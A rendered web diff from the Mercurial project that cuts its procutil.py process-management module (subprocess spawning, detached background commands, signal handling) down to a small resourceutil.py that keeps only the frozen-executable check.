477 | 466 | # Windows case is easier because the child process is either |
|
478 | 467 | # successfully starting and validating the condition or exiting |
|
479 | 468 | # on failure. We just poll on its PID. On Unix, if the child |
|
480 | 469 | # process fails to start, it will be left in a zombie state until |
|
481 | 470 | # the parent wait on it, which we cannot do since we expect a long |
|
482 | 471 | # running process on success. Instead we listen for SIGCHLD telling |
|
483 | 472 | # us our child process terminated. |
|
484 | 473 | terminated = set() |
|
485 | 474 | |
|
486 | 475 | def handler(signum, frame): |
|
487 | 476 | terminated.add(os.wait()) |
|
488 | 477 | |
|
489 | 478 | prevhandler = None |
|
490 | 479 | SIGCHLD = getattr(signal, 'SIGCHLD', None) |
|
491 | 480 | if SIGCHLD is not None: |
|
492 | 481 | prevhandler = signal.signal(SIGCHLD, handler) |
|
493 | 482 | try: |
|
494 | 483 | pid = spawndetached(args) |
|
495 | 484 | while not condfn(): |
|
496 | 485 | if (pid in terminated or not testpid(pid)) and not condfn(): |
|
497 | 486 | return -1 |
|
498 | 487 | time.sleep(0.1) |
|
499 | 488 | return pid |
|
500 | 489 | finally: |
|
501 | 490 | if prevhandler is not None: |
|
502 | 491 | signal.signal(signal.SIGCHLD, prevhandler) |
|
503 | 492 | |
|
504 | 493 | |
|
505 | 494 | @contextlib.contextmanager |
|
506 | 495 | def uninterruptible(warn): |
|
507 | 496 | """Inhibit SIGINT handling on a region of code. |
|
508 | 497 | |
|
509 | 498 | Note that if this is called in a non-main thread, it turns into a no-op. |
|
510 | 499 | |
|
511 | 500 | Args: |
|
512 | 501 | warn: A callable which takes no arguments, and returns True if the |
|
513 | 502 | previous signal handling should be restored. |
|
514 | 503 | """ |
|
515 | 504 | |
|
516 | 505 | oldsiginthandler = [signal.getsignal(signal.SIGINT)] |
|
517 | 506 | shouldbail = [] |
|
518 | 507 | |
|
519 | 508 | def disabledsiginthandler(*args): |
|
520 | 509 | if warn(): |
|
521 | 510 | signal.signal(signal.SIGINT, oldsiginthandler[0]) |
|
522 | 511 | del oldsiginthandler[0] |
|
523 | 512 | shouldbail.append(True) |
|
524 | 513 | |
|
525 | 514 | try: |
|
526 | 515 | try: |
|
527 | 516 | signal.signal(signal.SIGINT, disabledsiginthandler) |
|
528 | 517 | except ValueError: |
|
529 | 518 | # wrong thread, oh well, we tried |
|
530 | 519 | del oldsiginthandler[0] |
|
531 | 520 | yield |
|
532 | 521 | finally: |
|
533 | 522 | if oldsiginthandler: |
|
534 | 523 | signal.signal(signal.SIGINT, oldsiginthandler[0]) |
|
535 | 524 | if shouldbail: |
|
536 | 525 | raise KeyboardInterrupt |
|
537 | 526 | |
|
538 | 527 | |
|
539 | 528 | if pycompat.iswindows: |
|
540 | 529 | # no fork on Windows, but we can create a detached process |
|
541 | 530 | # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx |
|
542 | 531 | # No stdlib constant exists for this value |
|
543 | 532 | DETACHED_PROCESS = 0x00000008 |
|
544 | 533 | # Following creation flags might create a console GUI window. |
|
545 | 534 | # Using subprocess.CREATE_NEW_CONSOLE might helps. |
|
546 | 535 | # See https://phab.mercurial-scm.org/D1701 for discussion |
|
547 | 536 | _creationflags = ( |
|
548 | 537 | DETACHED_PROCESS |
|
549 | 538 | | subprocess.CREATE_NEW_PROCESS_GROUP # pytype: disable=module-attr |
|
550 | 539 | ) |
|
551 | 540 | |
|
552 | 541 | def runbgcommand( |
|
553 | 542 | script, env, shell=False, stdout=None, stderr=None, ensurestart=True |
|
554 | 543 | ): |
|
555 | 544 | '''Spawn a command without waiting for it to finish.''' |
|
556 | 545 | # we can't use close_fds *and* redirect stdin. I'm not sure that we |
|
557 | 546 | # need to because the detached process has no console connection. |
|
558 | 547 | subprocess.Popen( |
|
559 | 548 | tonativestr(script), |
|
560 | 549 | shell=shell, |
|
561 | 550 | env=tonativeenv(env), |
|
562 | 551 | close_fds=True, |
|
563 | 552 | creationflags=_creationflags, |
|
564 | 553 | stdout=stdout, |
|
565 | 554 | stderr=stderr, |
|
566 | 555 | ) |
|
567 | 556 | |
|
568 | 557 | |
|
569 | 558 | else: |
|
570 | 559 | |
|
571 | 560 | def runbgcommand( |
|
572 | 561 | cmd, env, shell=False, stdout=None, stderr=None, ensurestart=True |
|
573 | 562 | ): |
|
574 | 563 | '''Spawn a command without waiting for it to finish.''' |
|
575 | 564 | # double-fork to completely detach from the parent process |
|
576 | 565 | # based on http://code.activestate.com/recipes/278731 |
|
577 | 566 | pid = os.fork() |
|
578 | 567 | if pid: |
|
579 | 568 | if not ensurestart: |
|
580 | 569 | return |
|
581 | 570 | # Parent process |
|
582 | 571 | (_pid, status) = os.waitpid(pid, 0) |
|
583 | 572 | if os.WIFEXITED(status): |
|
584 | 573 | returncode = os.WEXITSTATUS(status) |
|
585 | 574 | else: |
|
586 | 575 | returncode = -(os.WTERMSIG(status)) |
|
587 | 576 | if returncode != 0: |
|
588 | 577 | # The child process's return code is 0 on success, an errno |
|
589 | 578 | # value on failure, or 255 if we don't have a valid errno |
|
590 | 579 | # value. |
|
591 | 580 | # |
|
592 | 581 | # (It would be slightly nicer to return the full exception info |
|
593 | 582 | # over a pipe as the subprocess module does. For now it |
|
594 | 583 | # doesn't seem worth adding that complexity here, though.) |
|
595 | 584 | if returncode == 255: |
|
596 | 585 | returncode = errno.EINVAL |
|
597 | 586 | raise OSError( |
|
598 | 587 | returncode, |
|
599 | 588 | b'error running %r: %s' % (cmd, os.strerror(returncode)), |
|
600 | 589 | ) |
|
601 | 590 | return |
|
602 | 591 | |
|
603 | 592 | returncode = 255 |
|
604 | 593 | try: |
|
605 | 594 | # Start a new session |
|
606 | 595 | os.setsid() |
|
607 | 596 | |
|
608 | 597 | stdin = open(os.devnull, b'r') |
|
609 | 598 | if stdout is None: |
|
610 | 599 | stdout = open(os.devnull, b'w') |
|
611 | 600 | if stderr is None: |
|
612 | 601 | stderr = open(os.devnull, b'w') |
|
613 | 602 | |
|
614 | 603 | # connect stdin to devnull to make sure the subprocess can't |
|
615 | 604 | # muck up that stream for mercurial. |
|
616 | 605 | subprocess.Popen( |
|
617 | 606 | cmd, |
|
618 | 607 | shell=shell, |
|
619 | 608 | env=env, |
|
620 | 609 | close_fds=True, |
|
621 | 610 | stdin=stdin, |
|
622 | 611 | stdout=stdout, |
|
623 | 612 | stderr=stderr, |
|
624 | 613 | ) |
|
625 | 614 | returncode = 0 |
|
626 | 615 | except EnvironmentError as ex: |
|
627 | 616 | returncode = ex.errno & 0xFF |
|
628 | 617 | if returncode == 0: |
|
629 | 618 | # This shouldn't happen, but just in case make sure the |
|
630 | 619 | # return code is never 0 here. |
|
631 | 620 | returncode = 255 |
|
632 | 621 | except Exception: |
|
633 | 622 | returncode = 255 |
|
634 | 623 | finally: |
|
635 | 624 | # mission accomplished, this child needs to exit and not |
|
636 | 625 | # continue the hg process here. |
|
637 | 626 | os._exit(returncode) |
This diff has been collapsed as it changes many lines, (613 lines changed) Show them Hide them | |||
@@ -1,637 +1,28 b'' | |||
|
1 | # procutil.py - utility for managing processes and executable environment | |
|
1 | # resourceutil.py - utility for looking up resources | |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
4 | 4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
5 | 5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
6 | 6 | # |
|
7 | 7 | # This software may be used and distributed according to the terms of the |
|
8 | 8 | # GNU General Public License version 2 or any later version. |
|
9 | 9 | |
|
10 | 10 | from __future__ import absolute_import |
|
11 | 11 | |
|
12 | import contextlib | |
|
13 | import errno | |
|
14 | 12 | import imp |
|
15 | import io | |
|
16 | import os | |
|
17 | import signal | |
|
18 | import subprocess | |
|
19 | 13 | import sys |
|
20 | import time | |
|
21 | ||
|
22 | from ..i18n import _ | |
|
23 | from ..pycompat import ( | |
|
24 | getattr, | |
|
25 | open, | |
|
26 | ) | |
|
27 | ||
|
28 | from .. import ( | |
|
29 | encoding, | |
|
30 | error, | |
|
31 | policy, | |
|
32 | pycompat, | |
|
33 | ) | |
|
34 | ||
|
35 | osutil = policy.importmod('osutil') | |
|
36 | ||
|
37 | stderr = pycompat.stderr | |
|
38 | stdin = pycompat.stdin | |
|
39 | stdout = pycompat.stdout | |
|
40 | ||
|
41 | ||
|
42 | def isatty(fp): | |
|
43 | try: | |
|
44 | return fp.isatty() | |
|
45 | except AttributeError: | |
|
46 | return False | |
|
47 | ||
|
48 | ||
|
49 | # glibc determines buffering on first write to stdout - if we replace a TTY | |
|
50 | # destined stdout with a pipe destined stdout (e.g. pager), we want line | |
|
51 | # buffering (or unbuffered, on Windows) | |
|
52 | if isatty(stdout): | |
|
53 | if pycompat.iswindows: | |
|
54 | # Windows doesn't support line buffering | |
|
55 | stdout = os.fdopen(stdout.fileno(), 'wb', 0) | |
|
56 | elif not pycompat.ispy3: | |
|
57 | # on Python 3, stdout (sys.stdout.buffer) is already line buffered and | |
|
58 | # buffering=1 is not handled in binary mode | |
|
59 | stdout = os.fdopen(stdout.fileno(), 'wb', 1) | |
|
60 | ||
|
61 | if pycompat.iswindows: | |
|
62 | from .. import windows as platform | |
|
63 | ||
|
64 | stdout = platform.winstdout(stdout) | |
|
65 | else: | |
|
66 | from .. import posix as platform | |
|
67 | ||
|
68 | findexe = platform.findexe | |
|
69 | _gethgcmd = platform.gethgcmd | |
|
70 | getuser = platform.getuser | |
|
71 | getpid = os.getpid | |
|
72 | hidewindow = platform.hidewindow | |
|
73 | quotecommand = platform.quotecommand | |
|
74 | readpipe = platform.readpipe | |
|
75 | setbinary = platform.setbinary | |
|
76 | setsignalhandler = platform.setsignalhandler | |
|
77 | shellquote = platform.shellquote | |
|
78 | shellsplit = platform.shellsplit | |
|
79 | spawndetached = platform.spawndetached | |
|
80 | sshargs = platform.sshargs | |
|
81 | testpid = platform.testpid | |
|
82 | ||
|
83 | try: | |
|
84 | setprocname = osutil.setprocname | |
|
85 | except AttributeError: | |
|
86 | pass | |
|
87 | try: | |
|
88 | unblocksignal = osutil.unblocksignal | |
|
89 | except AttributeError: | |
|
90 | pass | |
|
91 | ||
|
92 | closefds = pycompat.isposix | |
|
93 | ||
|
94 | ||
|
95 | def explainexit(code): | |
|
96 | """return a message describing a subprocess status | |
|
97 | (codes from kill are negative - not os.system/wait encoding)""" | |
|
98 | if code >= 0: | |
|
99 | return _(b"exited with status %d") % code | |
|
100 | return _(b"killed by signal %d") % -code | |
|
101 | ||
|
102 | ||
|
103 | class _pfile(object): | |
|
104 | """File-like wrapper for a stream opened by subprocess.Popen()""" | |
|
105 | ||
|
106 | def __init__(self, proc, fp): | |
|
107 | self._proc = proc | |
|
108 | self._fp = fp | |
|
109 | ||
|
110 | def close(self): | |
|
111 | # unlike os.popen(), this returns an integer in subprocess coding | |
|
112 | self._fp.close() | |
|
113 | return self._proc.wait() | |
|
114 | ||
|
115 | def __iter__(self): | |
|
116 | return iter(self._fp) | |
|
117 | ||
|
118 | def __getattr__(self, attr): | |
|
119 | return getattr(self._fp, attr) | |
|
120 | ||
|
121 | def __enter__(self): | |
|
122 | return self | |
|
123 | ||
|
124 | def __exit__(self, exc_type, exc_value, exc_tb): | |
|
125 | self.close() | |
|
126 | ||
|
127 | 14 | |
|
128 | def popen(cmd, mode=b'rb', bufsize=-1): | |
|
129 | if mode == b'rb': | |
|
130 | return _popenreader(cmd, bufsize) | |
|
131 | elif mode == b'wb': | |
|
132 | return _popenwriter(cmd, bufsize) | |
|
133 | raise error.ProgrammingError(b'unsupported mode: %r' % mode) | |
|
134 | ||
|
135 | ||
|
136 | def _popenreader(cmd, bufsize): | |
|
137 | p = subprocess.Popen( | |
|
138 | tonativestr(quotecommand(cmd)), | |
|
139 | shell=True, | |
|
140 | bufsize=bufsize, | |
|
141 | close_fds=closefds, | |
|
142 | stdout=subprocess.PIPE, | |
|
143 | ) | |
|
144 | return _pfile(p, p.stdout) | |
|
145 | ||
|
146 | ||
|
147 | def _popenwriter(cmd, bufsize): | |
|
148 | p = subprocess.Popen( | |
|
149 | tonativestr(quotecommand(cmd)), | |
|
150 | shell=True, | |
|
151 | bufsize=bufsize, | |
|
152 | close_fds=closefds, | |
|
153 | stdin=subprocess.PIPE, | |
|
154 | ) | |
|
155 | return _pfile(p, p.stdin) | |
|
156 | ||
|
157 | ||
|
158 | def popen2(cmd, env=None): | |
|
159 | # Setting bufsize to -1 lets the system decide the buffer size. | |
|
160 | # The default for bufsize is 0, meaning unbuffered. This leads to | |
|
161 | # poor performance on Mac OS X: http://bugs.python.org/issue4194 | |
|
162 | p = subprocess.Popen( | |
|
163 | tonativestr(cmd), | |
|
164 | shell=True, | |
|
165 | bufsize=-1, | |
|
166 | close_fds=closefds, | |
|
167 | stdin=subprocess.PIPE, | |
|
168 | stdout=subprocess.PIPE, | |
|
169 | env=tonativeenv(env), | |
|
170 | ) | |
|
171 | return p.stdin, p.stdout | |
|
172 | ||
|
173 | ||
|
174 | def popen3(cmd, env=None): | |
|
175 | stdin, stdout, stderr, p = popen4(cmd, env) | |
|
176 | return stdin, stdout, stderr | |
|
177 | ||
|
178 | ||
|
179 | def popen4(cmd, env=None, bufsize=-1): | |
|
180 | p = subprocess.Popen( | |
|
181 | tonativestr(cmd), | |
|
182 | shell=True, | |
|
183 | bufsize=bufsize, | |
|
184 | close_fds=closefds, | |
|
185 | stdin=subprocess.PIPE, | |
|
186 | stdout=subprocess.PIPE, | |
|
187 | stderr=subprocess.PIPE, | |
|
188 | env=tonativeenv(env), | |
|
189 | ) | |
|
190 | return p.stdin, p.stdout, p.stderr, p | |
|
191 | ||
|
192 | ||
|
193 | def pipefilter(s, cmd): | |
|
194 | '''filter string S through command CMD, returning its output''' | |
|
195 | p = subprocess.Popen( | |
|
196 | tonativestr(cmd), | |
|
197 | shell=True, | |
|
198 | close_fds=closefds, | |
|
199 | stdin=subprocess.PIPE, | |
|
200 | stdout=subprocess.PIPE, | |
|
201 | ) | |
|
202 | pout, perr = p.communicate(s) | |
|
203 | return pout | |
|
204 | ||
|
205 | ||
|
206 | def tempfilter(s, cmd): | |
|
207 | '''filter string S through a pair of temporary files with CMD. | |
|
208 | CMD is used as a template to create the real command to be run, | |
|
209 | with the strings INFILE and OUTFILE replaced by the real names of | |
|
210 | the temporary files generated.''' | |
|
211 | inname, outname = None, None | |
|
212 | try: | |
|
213 | infd, inname = pycompat.mkstemp(prefix=b'hg-filter-in-') | |
|
214 | fp = os.fdopen(infd, 'wb') | |
|
215 | fp.write(s) | |
|
216 | fp.close() | |
|
217 | outfd, outname = pycompat.mkstemp(prefix=b'hg-filter-out-') | |
|
218 | os.close(outfd) | |
|
219 | cmd = cmd.replace(b'INFILE', inname) | |
|
220 | cmd = cmd.replace(b'OUTFILE', outname) | |
|
221 | code = system(cmd) | |
|
222 | if pycompat.sysplatform == b'OpenVMS' and code & 1: | |
|
223 | code = 0 | |
|
224 | if code: | |
|
225 | raise error.Abort( | |
|
226 | _(b"command '%s' failed: %s") % (cmd, explainexit(code)) | |
|
227 | ) | |
|
228 | with open(outname, b'rb') as fp: | |
|
229 | return fp.read() | |
|
230 | finally: | |
|
231 | try: | |
|
232 | if inname: | |
|
233 | os.unlink(inname) | |
|
234 | except OSError: | |
|
235 | pass | |
|
236 | try: | |
|
237 | if outname: | |
|
238 | os.unlink(outname) | |
|
239 | except OSError: | |
|
240 | pass | |
|
241 | ||
|
242 | ||
|
243 | _filtertable = { | |
|
244 | b'tempfile:': tempfilter, | |
|
245 | b'pipe:': pipefilter, | |
|
246 | } | |
|
247 | ||
|
248 | ||
|
249 | def filter(s, cmd): | |
|
250 | b"filter a string through a command that transforms its input to its output" | |
|
251 | for name, fn in pycompat.iteritems(_filtertable): | |
|
252 | if cmd.startswith(name): | |
|
253 | return fn(s, cmd[len(name) :].lstrip()) | |
|
254 | return pipefilter(s, cmd) | |
|
15 | from .. import pycompat | |
|
255 | 16 | |
|
256 | 17 | |
|
257 | 18 | def mainfrozen(): |
|
258 | 19 | """return True if we are a frozen executable. |
|
259 | 20 | |
|
260 | 21 | The code supports py2exe (most common, Windows only) and tools/freeze |
|
261 | 22 | (portable, not much used). |
|
262 | 23 | """ |
|
263 | 24 | return ( |
|
264 | 25 | pycompat.safehasattr(sys, "frozen") |
|
265 | 26 | or pycompat.safehasattr(sys, "importers") # new py2exe |
|
266 | 27 | or imp.is_frozen("__main__") # old py2exe |
|
267 | 28 | ) # tools/freeze |
|
268 | ||
|
269 | ||
|
270 | _hgexecutable = None | |
|
271 | ||
|
272 | ||
|
273 | def hgexecutable(): | |
|
274 | """return location of the 'hg' executable. | |
|
275 | ||
|
276 | Defaults to $HG or 'hg' in the search path. | |
|
277 | """ | |
|
278 | if _hgexecutable is None: | |
|
279 | hg = encoding.environ.get(b'HG') | |
|
280 | mainmod = sys.modules['__main__'] | |
|
281 | if hg: | |
|
282 | _sethgexecutable(hg) | |
|
283 | elif mainfrozen(): | |
|
284 | if getattr(sys, 'frozen', None) == 'macosx_app': | |
|
285 | # Env variable set by py2app | |
|
286 | _sethgexecutable(encoding.environ[b'EXECUTABLEPATH']) | |
|
287 | else: | |
|
288 | _sethgexecutable(pycompat.sysexecutable) | |
|
289 | elif ( | |
|
290 | not pycompat.iswindows | |
|
291 | and os.path.basename(getattr(mainmod, '__file__', '')) == 'hg' | |
|
292 | ): | |
|
293 | _sethgexecutable(pycompat.fsencode(mainmod.__file__)) | |
|
294 | else: | |
|
295 | _sethgexecutable( | |
|
296 | findexe(b'hg') or os.path.basename(pycompat.sysargv[0]) | |
|
297 | ) | |
|
298 | return _hgexecutable | |
|
299 | ||
|
300 | ||
|
301 | def _sethgexecutable(path): | |
|
302 | """set location of the 'hg' executable""" | |
|
303 | global _hgexecutable | |
|
304 | _hgexecutable = path | |
|
305 | ||
|
306 | ||
|
307 | def _testfileno(f, stdf): | |
|
308 | fileno = getattr(f, 'fileno', None) | |
|
309 | try: | |
|
310 | return fileno and fileno() == stdf.fileno() | |
|
311 | except io.UnsupportedOperation: | |
|
312 | return False # fileno() raised UnsupportedOperation | |
|
313 | ||
|
314 | ||
|
315 | def isstdin(f): | |
|
316 | return _testfileno(f, sys.__stdin__) | |
|
317 | ||
|
318 | ||
|
319 | def isstdout(f): | |
|
320 | return _testfileno(f, sys.__stdout__) | |
|
321 | ||
|
322 | ||
|
323 | def protectstdio(uin, uout): | |
|
324 | """Duplicate streams and redirect original if (uin, uout) are stdio | |
|
325 | ||
|
326 | If uin is stdin, it's redirected to /dev/null. If uout is stdout, it's | |
|
327 | redirected to stderr so the output is still readable. | |
|
328 | ||
|
329 | Returns (fin, fout) which point to the original (uin, uout) fds, but | |
|
330 | may be copy of (uin, uout). The returned streams can be considered | |
|
331 | "owned" in that print(), exec(), etc. never reach to them. | |
|
332 | """ | |
|
333 | uout.flush() | |
|
334 | fin, fout = uin, uout | |
|
335 | if _testfileno(uin, stdin): | |
|
336 | newfd = os.dup(uin.fileno()) | |
|
337 | nullfd = os.open(os.devnull, os.O_RDONLY) | |
|
338 | os.dup2(nullfd, uin.fileno()) | |
|
339 | os.close(nullfd) | |
|
340 | fin = os.fdopen(newfd, 'rb') | |
|
341 | if _testfileno(uout, stdout): | |
|
342 | newfd = os.dup(uout.fileno()) | |
|
343 | os.dup2(stderr.fileno(), uout.fileno()) | |
|
344 | fout = os.fdopen(newfd, 'wb') | |
|
345 | return fin, fout | |
|
346 | ||
|
347 | ||
|
348 | def restorestdio(uin, uout, fin, fout): | |
|
349 | """Restore (uin, uout) streams from possibly duplicated (fin, fout)""" | |
|
350 | uout.flush() | |
|
351 | for f, uif in [(fin, uin), (fout, uout)]: | |
|
352 | if f is not uif: | |
|
353 | os.dup2(f.fileno(), uif.fileno()) | |
|
354 | f.close() | |
|
355 | ||
|
356 | ||
|
357 | def shellenviron(environ=None): | |
|
358 | """return environ with optional override, useful for shelling out""" | |
|
359 | ||
|
360 | def py2shell(val): | |
|
361 | b'convert python object into string that is useful to shell' | |
|
362 | if val is None or val is False: | |
|
363 | return b'0' | |
|
364 | if val is True: | |
|
365 | return b'1' | |
|
366 | return pycompat.bytestr(val) | |
|
367 | ||
|
368 | env = dict(encoding.environ) | |
|
369 | if environ: | |
|
370 | env.update((k, py2shell(v)) for k, v in pycompat.iteritems(environ)) | |
|
371 | env[b'HG'] = hgexecutable() | |
|
372 | return env | |
|
373 | ||
|
374 | ||
|
375 | if pycompat.iswindows: | |
|
376 | ||
|
377 | def shelltonative(cmd, env): | |
|
378 | return platform.shelltocmdexe( # pytype: disable=module-attr | |
|
379 | cmd, shellenviron(env) | |
|
380 | ) | |
|
381 | ||
|
382 | tonativestr = encoding.strfromlocal | |
|
383 | else: | |
|
384 | ||
|
385 | def shelltonative(cmd, env): | |
|
386 | return cmd | |
|
387 | ||
|
388 | tonativestr = pycompat.identity | |
|
389 | ||
|
390 | ||
|
391 | def tonativeenv(env): | |
|
392 | '''convert the environment from bytes to strings suitable for Popen(), etc. | |
|
393 | ''' | |
|
394 | return pycompat.rapply(tonativestr, env) | |
|
395 | ||
|
396 | ||
|
397 | def system(cmd, environ=None, cwd=None, out=None): | |
|
398 | '''enhanced shell command execution. | |
|
399 | run with environment maybe modified, maybe in different dir. | |
|
400 | ||
|
401 | if out is specified, it is assumed to be a file-like object that has a | |
|
402 | write() method. stdout and stderr will be redirected to out.''' | |
|
403 | try: | |
|
404 | stdout.flush() | |
|
405 | except Exception: | |
|
406 | pass | |
|
407 | cmd = quotecommand(cmd) | |
|
408 | env = shellenviron(environ) | |
|
409 | if out is None or isstdout(out): | |
|
410 | rc = subprocess.call( | |
|
411 | tonativestr(cmd), | |
|
412 | shell=True, | |
|
413 | close_fds=closefds, | |
|
414 | env=tonativeenv(env), | |
|
415 | cwd=pycompat.rapply(tonativestr, cwd), | |
|
416 | ) | |
|
417 | else: | |
|
418 | proc = subprocess.Popen( | |
|
419 | tonativestr(cmd), | |
|
420 | shell=True, | |
|
421 | close_fds=closefds, | |
|
422 | env=tonativeenv(env), | |
|
423 | cwd=pycompat.rapply(tonativestr, cwd), | |
|
424 | stdout=subprocess.PIPE, | |
|
425 | stderr=subprocess.STDOUT, | |
|
426 | ) | |
|
427 | for line in iter(proc.stdout.readline, b''): | |
|
428 | out.write(line) | |
|
429 | proc.wait() | |
|
430 | rc = proc.returncode | |
|
431 | if pycompat.sysplatform == b'OpenVMS' and rc & 1: | |
|
432 | rc = 0 | |
|
433 | return rc | |
|
434 | ||
|
435 | ||
|
436 | def gui(): | |
|
437 | '''Are we running in a GUI?''' | |
|
438 | if pycompat.isdarwin: | |
|
439 | if b'SSH_CONNECTION' in encoding.environ: | |
|
440 | # handle SSH access to a box where the user is logged in | |
|
441 | return False | |
|
442 | elif getattr(osutil, 'isgui', None): | |
|
443 | # check if a CoreGraphics session is available | |
|
444 | return osutil.isgui() | |
|
445 | else: | |
|
446 | # pure build; use a safe default | |
|
447 | return True | |
|
448 | else: | |
|
449 | return pycompat.iswindows or encoding.environ.get(b"DISPLAY") | |
|
450 | ||
|
451 | ||
|
452 | def hgcmd(): | |
|
453 | """Return the command used to execute current hg | |
|
454 | ||
|
455 | This is different from hgexecutable() because on Windows we want | |
|
456 | to avoid things opening new shell windows like batch files, so we | |
|
457 | get either the python call or current executable. | |
|
458 | """ | |
|
459 | if mainfrozen(): | |
|
460 | if getattr(sys, 'frozen', None) == 'macosx_app': | |
|
461 | # Env variable set by py2app | |
|
462 | return [encoding.environ[b'EXECUTABLEPATH']] | |
|
463 | else: | |
|
464 | return [pycompat.sysexecutable] | |
|
465 | return _gethgcmd() | |
|
466 | ||
|
467 | ||
|
468 | def rundetached(args, condfn): | |
|
469 | """Execute the argument list in a detached process. | |
|
470 | ||
|
471 | condfn is a callable which is called repeatedly and should return | |
|
472 | True once the child process is known to have started successfully. | |
|
473 | At this point, the child process PID is returned. If the child | |
|
474 | process fails to start or finishes before condfn() evaluates to | |
|
475 | True, return -1. | |
|
476 | """ | |
|
477 | # Windows case is easier because the child process is either | |
|
478 | # successfully starting and validating the condition or exiting | |
|
479 | # on failure. We just poll on its PID. On Unix, if the child | |
|
480 | # process fails to start, it will be left in a zombie state until | |
|
481 | # the parent wait on it, which we cannot do since we expect a long | |
|
482 | # running process on success. Instead we listen for SIGCHLD telling | |
|
483 | # us our child process terminated. | |
|
484 | terminated = set() | |
|
485 | ||
|
486 | def handler(signum, frame): | |
|
487 | terminated.add(os.wait()) | |
|
488 | ||
|
489 | prevhandler = None | |
|
490 | SIGCHLD = getattr(signal, 'SIGCHLD', None) | |
|
491 | if SIGCHLD is not None: | |
|
492 | prevhandler = signal.signal(SIGCHLD, handler) | |
|
493 | try: | |
|
494 | pid = spawndetached(args) | |
|
495 | while not condfn(): | |
|
496 | if (pid in terminated or not testpid(pid)) and not condfn(): | |
|
497 | return -1 | |
|
498 | time.sleep(0.1) | |
|
499 | return pid | |
|
500 | finally: | |
|
501 | if prevhandler is not None: | |
|
502 | signal.signal(signal.SIGCHLD, prevhandler) | |
|
503 | ||
|
504 | ||
|
505 | @contextlib.contextmanager | |
|
506 | def uninterruptible(warn): | |
|
507 | """Inhibit SIGINT handling on a region of code. | |
|
508 | ||
|
509 | Note that if this is called in a non-main thread, it turns into a no-op. | |
|
510 | ||
|
511 | Args: | |
|
512 | warn: A callable which takes no arguments, and returns True if the | |
|
513 | previous signal handling should be restored. | |
|
514 | """ | |
|
515 | ||
|
516 | oldsiginthandler = [signal.getsignal(signal.SIGINT)] | |
|
517 | shouldbail = [] | |
|
518 | ||
|
519 | def disabledsiginthandler(*args): | |
|
520 | if warn(): | |
|
521 | signal.signal(signal.SIGINT, oldsiginthandler[0]) | |
|
522 | del oldsiginthandler[0] | |
|
523 | shouldbail.append(True) | |
|
524 | ||
|
525 | try: | |
|
526 | try: | |
|
527 | signal.signal(signal.SIGINT, disabledsiginthandler) | |
|
528 | except ValueError: | |
|
529 | # wrong thread, oh well, we tried | |
|
530 | del oldsiginthandler[0] | |
|
531 | yield | |
|
532 | finally: | |
|
533 | if oldsiginthandler: | |
|
534 | signal.signal(signal.SIGINT, oldsiginthandler[0]) | |
|
535 | if shouldbail: | |
|
536 | raise KeyboardInterrupt | |
|
537 | ||
|
538 | ||
|
539 | if pycompat.iswindows: | |
|
540 | # no fork on Windows, but we can create a detached process | |
|
541 | # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx | |
|
542 | # No stdlib constant exists for this value | |
|
543 | DETACHED_PROCESS = 0x00000008 | |
|
544 | # Following creation flags might create a console GUI window. | |
|
545 | # Using subprocess.CREATE_NEW_CONSOLE might helps. | |
|
546 | # See https://phab.mercurial-scm.org/D1701 for discussion | |
|
547 | _creationflags = ( | |
|
548 | DETACHED_PROCESS | |
|
549 | | subprocess.CREATE_NEW_PROCESS_GROUP # pytype: disable=module-attr | |
|
550 | ) | |
|
551 | ||
|
552 | def runbgcommand( | |
|
553 | script, env, shell=False, stdout=None, stderr=None, ensurestart=True | |
|
554 | ): | |
|
555 | '''Spawn a command without waiting for it to finish.''' | |
|
556 | # we can't use close_fds *and* redirect stdin. I'm not sure that we | |
|
557 | # need to because the detached process has no console connection. | |
|
558 | subprocess.Popen( | |
|
559 | tonativestr(script), | |
|
560 | shell=shell, | |
|
561 | env=tonativeenv(env), | |
|
562 | close_fds=True, | |
|
563 | creationflags=_creationflags, | |
|
564 | stdout=stdout, | |
|
565 | stderr=stderr, | |
|
566 | ) | |
|
567 | ||
|
568 | ||
|
569 | else: | |
|
570 | ||
|
571 | def runbgcommand( | |
|
572 | cmd, env, shell=False, stdout=None, stderr=None, ensurestart=True | |
|
573 | ): | |
|
574 | '''Spawn a command without waiting for it to finish.''' | |
|
575 | # double-fork to completely detach from the parent process | |
|
576 | # based on http://code.activestate.com/recipes/278731 | |
|
577 | pid = os.fork() | |
|
578 | if pid: | |
|
579 | if not ensurestart: | |
|
580 | return | |
|
581 | # Parent process | |
|
582 | (_pid, status) = os.waitpid(pid, 0) | |
|
583 | if os.WIFEXITED(status): | |
|
584 | returncode = os.WEXITSTATUS(status) | |
|
585 | else: | |
|
586 | returncode = -(os.WTERMSIG(status)) | |
|
587 | if returncode != 0: | |
|
588 | # The child process's return code is 0 on success, an errno | |
|
589 | # value on failure, or 255 if we don't have a valid errno | |
|
590 | # value. | |
|
591 | # | |
|
592 | # (It would be slightly nicer to return the full exception info | |
|
593 | # over a pipe as the subprocess module does. For now it | |
|
594 | # doesn't seem worth adding that complexity here, though.) | |
|
595 | if returncode == 255: | |
|
596 | returncode = errno.EINVAL | |
|
597 | raise OSError( | |
|
598 | returncode, | |
|
599 | b'error running %r: %s' % (cmd, os.strerror(returncode)), | |
|
600 | ) | |
|
601 | return | |
|
602 | ||
|
603 | returncode = 255 | |
|
604 | try: | |
|
605 | # Start a new session | |
|
606 | os.setsid() | |
|
607 | ||
|
608 | stdin = open(os.devnull, b'r') | |
|
609 | if stdout is None: | |
|
610 | stdout = open(os.devnull, b'w') | |
|
611 | if stderr is None: | |
|
612 | stderr = open(os.devnull, b'w') | |
|
613 | ||
|
614 | # connect stdin to devnull to make sure the subprocess can't | |
|
615 | # muck up that stream for mercurial. | |
|
616 | subprocess.Popen( | |
|
617 | cmd, | |
|
618 | shell=shell, | |
|
619 | env=env, | |
|
620 | close_fds=True, | |
|
621 | stdin=stdin, | |
|
622 | stdout=stdout, | |
|
623 | stderr=stderr, | |
|
624 | ) | |
|
625 | returncode = 0 | |
|
626 | except EnvironmentError as ex: | |
|
627 | returncode = ex.errno & 0xFF | |
|
628 | if returncode == 0: | |
|
629 | # This shouldn't happen, but just in case make sure the | |
|
630 | # return code is never 0 here. | |
|
631 | returncode = 255 | |
|
632 | except Exception: | |
|
